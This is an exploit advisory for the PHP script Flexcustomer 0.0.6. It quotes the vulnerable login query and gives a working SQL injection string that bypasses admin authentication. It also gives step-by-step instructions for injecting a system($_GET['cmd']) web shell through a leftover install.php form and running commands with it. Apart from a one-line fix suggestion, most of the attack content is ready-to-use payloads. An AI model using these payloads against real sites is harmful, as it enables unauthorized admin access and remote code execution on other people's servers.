Flexcustomer 0.0.6 - Admin Authentication Bypass / Possible PHP Code Writing

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[0x01] Informations:

Script         : Flexcustomer
Download       : http://www.hotscripts.com/jump.php?listing_id=25331&jump_type=1
Vulnerability  : Admin Login Bypass / Possible PHP code writing
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


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[0x02] Bug: [Admin Login Bypass]
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Bug: /[path]/admin/usercheek.php

[CODE]

<?php
session_start();

if (!empty($logincheck)){
$sql = "select username,adminid from useradmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]

[!FIX] Escape $checkuser and $checkpass in $sql query.


[!] EXPLOIT: /[path]/admin/
             Put as username and password: ' or '1=1
             You will log in as admin

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[0x03] Bug: [Possible PHP data writing]
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This is not a real bug, but could become it if the administrator doesn't delete the install.php file.
In fact, data that we put in /[path]/admin/install.php forms will be save in a .php file.
So, if install.php is not deleted, we can inject php code, and this bug can become a RCE vulnerability.

[!] EXPLOIT:
              1) Go at: /[path]/admin/install.php
              2) Put as Database Name this simple PHP code: ";system($_GET['cmd']);$a = "k
              3) Fill the other form and press  Next
              4) Execute your cmd: /[path]/const.inc.php?cmd=id

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